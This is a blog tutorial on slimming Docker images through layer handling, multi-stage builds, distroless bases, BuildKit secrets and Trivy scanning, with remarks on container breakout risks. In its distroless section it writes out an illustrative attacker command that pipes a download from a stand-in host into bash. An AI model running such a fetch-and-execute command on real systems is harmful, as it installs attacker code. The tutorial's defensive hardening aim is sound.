The Docker Diet: How to Slim Down Your Fat Containers

Rantideb Howlader••10 min read

Introduction: The 2GB "Hello World"

I once inherited a legacy project. It was a simple Node.js API. I ran docker build. I waited. And waited. 10 minutes later, it finished. I ran docker images. The image size was 2.4 GB.

For a Node app. That is basically a crime.

I looked inside. It had the entire gcc compiler installed. It had Vim. It had curl. It had Python (version 2 and 3). It probably had the kitchen sink. Deploying this beast effectively took down our CI/CD pipeline. The network bandwidth cost alone was higher than the server cost.

This is the most common mistake I see Junior Engineers make. They treat Docker containers like Virtual Machines. They apt-get install everything "just in case."

A Container is not a VM. A Container is a single process wrapper. It should contain exactly one thing: Your binary. Nothing else. No shell. No package manager. No debuggers.

In this guide, we are going to put your Docker images on a diet. We will take that 2GB monster and shrink it down to 50MB. And in the process, we will make it faster, cheaper, and infinitely more secure.

Part 1: How Docker Actually Works (The Layer Cake)

To fix the image, you have to understand the format. A Docker image is just a stack of tarballs (files). We call them Layers.

Each line in your Dockerfile creates a new layer.

FROM ubuntu        <-- Layer 1 (Base OS - Big)
RUN apt-get update <-- Layer 2 (Metadata - Small)
COPY . .           <-- Layer 3 (Your Code - Medium)

The Trap: Layers are immutable (ReadOnly). If you add a file in Layer 2, and delete it in Layer 3... the file is still there. It is just "hidden." The image size is the sum of all layers.

Example of Stupid Code:

RUN wget http://big-file.zip
RUN unzip big-file.zip
RUN rm big-file.zip

This fails. Layer 1 adds the zip (100MB). Layer 2 extracts it (100MB). Layer 3 hides the zip. Total Size: 200MB. The zip is still trapped in Layer 1, haunting you forever.

The Fix: Do it in one line.

RUN wget big-file.zip && unzip big-file.zip && rm big-file.zip

Now, the temporary file is created and destroyed in the same layer transaction. It never gets committed to the image.

Part 2: Base Images (Choose Your Fighter)

The easiest way to lose weight is to start smaller.

The Heavyweight: FROM ubuntu or FROM node

These are full operating systems. They have everything.

  • Size: 800MB+
  • Pros: Easy debugging. Contains ps, ls, top.
  • Cons: Huge. Full of security vulnerabilities (CVEs).

The Middleweight: FROM alpine

Alpine Linux is a tiny, security-oriented distro.

  • Size: 5MB (Yes, really).
  • Pros: Tiny. Fast.
  • Cons: It uses musl libc instead of glibc. This means some compiled binaries (like Python C-extensions or old Java apps) might crash randomly.
  • Verdict: Use it if you can, but test thoroughly.

The Lightweight: FROM scratch

This is... nothing. An empty void.

  • Size: 0 bytes.
  • Pros: Perfect for Go or Rust binaries that are statically compiled.
  • Cons: You literally have no shell. You cannot exec into the container.

Part 3: Multi-Stage Builds (The Magic Trick)

This feature (introduced in Docker 17.05) changed the world. It allows you to use multiple FROM instructions in one file. You can use a "Fat" image to build your app, and a "Tiny" image to run it.

Scenario: A Java App (Spring Boot). You need Maven and the JDK to compile it. You only need the JRE (Java Runtime) to run it.

# STAGE 1: The Builder (Fat)
FROM maven:3.8-openjdk-17 AS builder
WORKDIR /app
COPY . .
RUN mvn package -DskipTests
# This image is now 1GB. But who cares? We throw it away.
 
# STAGE 2: The Runner (Tiny)
FROM eclipse-temurin:17-jre-alpine
WORKDIR /app
# We COPY only the JAR file from the Builder stage
COPY --from=builder /app/target/myapp.jar .
CMD ["java", "-jar", "myapp.jar"]

Result: The final image is 150MB. (Just the JRE + JAR). The Maven toolchain is gone. The Source code is gone. The secrets you used during build are gone.

Always use Multi-Stage builds. There is no excuse not to.

Part 4: The .dockerignore File

This is the .gitignore for Docker. If you type COPY . ., you are copying everything. Including:

  • .git folder (Huge!)
  • node_modules (locally installed dependencies)
  • target / build folders
  • AWS keys you accidentally left on your desktop.

Create a .dockerignore file immediately:

.git
node_modules
dist
target
*.md
.env

This forces the Docker Build Context to be clean. It speeds up the build because you aren't uploading 500MB of junk to the Docker Daemon.

Part 5: Breaking Cache (The Speed Bump)

Docker caches every layer. If a layer hasn't changed, it reuses it instantly. If a layer changes, it rebuilds that layer and every layer after it (downstream).

Bad Order:

COPY . .            <-- Copies source code (Changes often)
RUN npm install     <-- Installs deps (Changes rarely)

Every time you change 1 line of code (app.js), Docker sees "Layer 1 Changed." So it invalidates Layer 2. It runs npm install again. You wait 5 minutes.

Good Order:

COPY package.json .
COPY package-lock.json .
RUN npm install     <-- Cached!
COPY . .            <-- Your code changes here.

Now, if you change app.js:

  1. Check package.json -> Same? Reuse Cache.
  2. Check npm install -> Same? Reuse Cache.
  3. Copy . -> Changed. Rebuild this layer. Build time: 1 second.

Part 6: Distroless Images (Google's Secret Weapon)

"Distroless" images contain only your application and its runtime dependencies. They do not contain package managers, shells, or any other programs you would expect to find in a standard Linux distribution.

The Philosophy: Why do you need a shell (/bin/bash) in production? Are you planning to SSH in and edit files live? I hope not. That's an anti-pattern.

If you remove the shell:

  1. Size: Drops drastically.
  2. Security: If a hacker exploits your app (RCE), they try to run a shell command.
    • Hacker: system("curl bad-site.com/virus | bash")
    • Container: Error: bash not found. Error: curl not found.
    • Hacker: Cries.

How to use: FROM gcr.io/distroless/nodejs:18

Debugging: "But wait, if there is no shell, how do I debug?" You use docker debug (a new feature) or use ephemeral containers in Kubernetes (kubectl debug). These attach a separate container with tools to your crash-looping pod.

Part 7: Security Scanning (Trivy)

You optimized the size. Now check the health. Your base image (node:14) might be old. It might have critical vulnerabilities (Heartbleed, etc).

Use a scanner. Trivy is the industry standard (open source).

trivy image my-app:latest

It will output a frightening list:

  • CVE-2023-1234 (Critical): openssl buffer overflow.

The Fix:

  1. Update the base image (node:18).
  2. Update system packages (apt-get upgrade).
  3. Sometimes, just accept it. If the CVE is in a library you don't call, mitigate it.

Shift Left: Put Trivy in your CI pipeline. trivy image --exit-code 1 --severity CRITICAL my-app:latest If it finds a Critical bug, it stops the deployment.

Part 8: Docker BuildKit (The Secret Weapon)

If you are still using the old Docker builder, you are living in the past. BuildKit is the modern engine. It is faster, smarter, and safer.

Enable it: export DOCKER_BUILDKIT=1

Parallel Building

The old builder ran line-by-line. Top to bottom. BuildKit builds a Dependency Graph. If Stage A and Stage B don't depend on each other, it builds them at the same time.

FROM node AS frontend
RUN npm install ...
 
FROM golang AS backend
RUN go build ...
 
FROM alpine
COPY --from=frontend ...
COPY --from=backend ...

BuildKit builds frontend and backend in parallel. Your build time drops by 50%.

Secrets Mounting

The Problem: You need a private SSH key to clone a private Git repo during build. Bad Way: COPY id_rsa /root/.ssh/ -> SECURITY RISK. The key is now in the layer. Good Way (BuildKit):

RUN --mount=type=secret,id=mykey \
    git clone git@github.com:myorg/private.git

The key is mounted only for that one command. It is never written to disk. It is never saved in the layer. It vanishes.

Part 9: Registry Internals (How Pulling Works)

When you type docker pull, what happens? It's not just downloading a file. It's a negotiation.

  1. GET Manifest: The client asks the Registry (Docker Hub/ECR) for the "Manifest" (a JSON list of layers).
    • "I need image ubuntu:latest for architecture amd64."
  2. Check Local: Docker looks at your disk. "Do I already have Layer SHA-123?"
    • If Yes: Skip.
    • If No: Download.
  3. GET Blob: It downloads the missing layers (Blobs).

The "Fat Manifest": Modern images support multi-arch (Intel vs Apple Silicon). The Registry stores a "FAT Manifest" that points to different sub-manifests.

  • One for linux/amd64
  • One for linux/arm64 This is why you can run the same ubuntu image on your MacBook M1 and your Intel Server.

Part 10: Container Breakouts (Security Deep Dive)

Why do we obsess over "Small Images" and "Distroless"? Because of Container Breakouts.

A Container is not a Sandbox. It is just a Process with "blinders" on (Namespaces and Cgroups). If I represent a Hacker, and I find a bug in the Linux Kernel (e.g., Dirty COW), I can "break out" of the container and become Root on the host server.

The Risk Factors:

  1. Privileged Mode: docker run --privileged. This turns off all safety features. NEVER do this. It gives the container full access to the Host's /dev devices.
  2. Running as Root: By default, Docker runs as Root inside the container.
    • If I break out, I am Root on the host.
    • Fix: USER 1000 in your Dockerfile.
  3. Capabilities: Linux divides "Root Power" into small slices (Capabilities).
    • CAP_NET_ADMIN (Change Firewall).
    • CAP_SYS_TIME (Change Clock).
    • Fix: Drop all capabilities -> docker run --cap-drop=ALL.

Part 11: Kubernetes Impact (ImagePullBackOff)

In Kubernetes, Image Size = Downtime.

When a Node dies, K8s moves the Pods to a new Node. The new Node must pull the image.

  • 50MB Image: Pulls in 2 seconds. Service recovers instantly.
  • 2GB Image: Pulls in 2 minutes. Service is down for 2 minutes.

ImagePullBackOff: If the image is too big, or the network is flaky, the pull times out. K8s enters a generic crash loop. Your "Fat" image isn't just wasting disk space. It is destroying your Availability SLA.

Part 12: Expert Glossary

  • OverlayFS: The Union Filesystem that Docker uses to merge layers into one view.
  • Copy-On-Write (CoW): If you modify a file from a lower layer, Docker copies it up to the top layer first.
  • Dangling Image: An image with no tag (<none>). Usually left over from old builds. Remove with docker image prune.
  • Scratch: The empty base image.
  • Opaque Directory: A marker in a layer that tells OverlayFS "The files below this are deleted."
  • Entrypoint vs CMD:
    • ENTRYPOINT: The executable (doesn't change).
    • CMD: The arguments (can be overridden).

Conclusion: The Art of Minimalism

Docker is a tool for shipping software, not operating systems. The best container is the one that contains nothing but your binary.

Every file you add is a liability. Every tool you install is a weapon for a hacker. Every megabyte you consume costs money.

Be ruthless. Cut the fat. Your cluster will thank you.

Further Reading

Ranti

Rantideb Howlader

Author

Connect
LinkedIn